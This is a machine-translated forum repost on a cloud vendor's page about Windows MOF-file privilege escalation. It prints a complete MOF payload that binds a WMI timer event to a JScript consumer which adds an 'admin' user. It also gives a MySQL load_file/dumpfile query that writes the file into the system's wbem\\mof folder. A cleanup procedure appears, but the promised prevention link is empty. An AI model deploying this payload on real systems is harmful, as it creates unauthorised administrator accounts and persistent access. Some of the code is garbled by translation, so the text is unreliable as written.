MOF file elevation and Prevention

Source: Internet
Author: User

Windows Management Specification (WMI) provides three methods to compile a hosted object format (MOF) file in the WMI Repository:

Method 1: run the MOF file and specify the command line parameter to run the Mofcomp.exe file.

Method 2: Use the IMofCompiler interface and the $ CompileFile method.

Method 3: drag and drop to the MOF file in the % SystemRoot % \ System32 \ Wbem \ MOF folder.

Microsoft recommends that you compile the MOF file in the repository using the first two methods. That is, run the Mofcomp.exe file,
Or use the IMofCompiler: CompileFile method.

The third method is provided only for WMI of backward compatibility and earlier versions (win2003,
This feature may not be available in future versions and should not be used.

Ghost brother:
I only want to know how to stop the executed mof,
When I tested it yesterday, I put a. mof
C: \ WINDOWS \ system32 \ wbem \ mof \
From last night till now, a user is added every five seconds,
I am depressed...

Net stop winmgmt stop service,
Second, delete the folder C: \ WINDOWS \ system32 \ wbem \ Repository \
Third, net start winmgmt start service
Fourth: the execution will not be completed.
C: \ WINDOWS \ system32 \ wbem \ Repository \ stores the Repository. mof will be added to this Repository.
Then run the script at the time specified by the script ..
After deletion and restart, a default repository will be created, so we will not have to execute mof previously.

------------------------------- XXX. MOF -----------------------------------------------------------
# Pragma namespace ("\\\\\\\ root \ subtasks ")

Instance of _ EventFilter as $ EventFilter
EventNamespace = "Root \ Cimv2 ";
Name = "filtP2 ";
Query = "Select * From _ InstanceModificationEvent"
"Where TargetInstance Isa \" Win32_LocalTime \""
"And TargetInstance. Second = 5 ";
QueryLanguage = "WQL ";

Instance of ActiveScriptEventConsumer as $ Consumer
Name = "consPCSV2 ";
ScriptingEngine = "JScript ";
ScriptText =
"Var WSH = new ActiveXObject (\" WScript. Shell \ ") \ nWSH. run (\" net.exe user admin/add \")";

Instance of _ FilterToConsumerBinding
Consumer = $ Consumer;
Filter = $ EventFilter;
------------------------------- XXX. MOF end -----------------------------------------------------------

This method is also used for recent MYSQL Elevation of Privilege.
1. Find a writable directory and upload the mof file.
2. Execute SQL
Select load_file ('C: \ RECYCLER \ nullevt. mof')
Dumpfile 'C:/windows/system32/wbem/mof/nullevt. mof ';

For the solution, see:

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.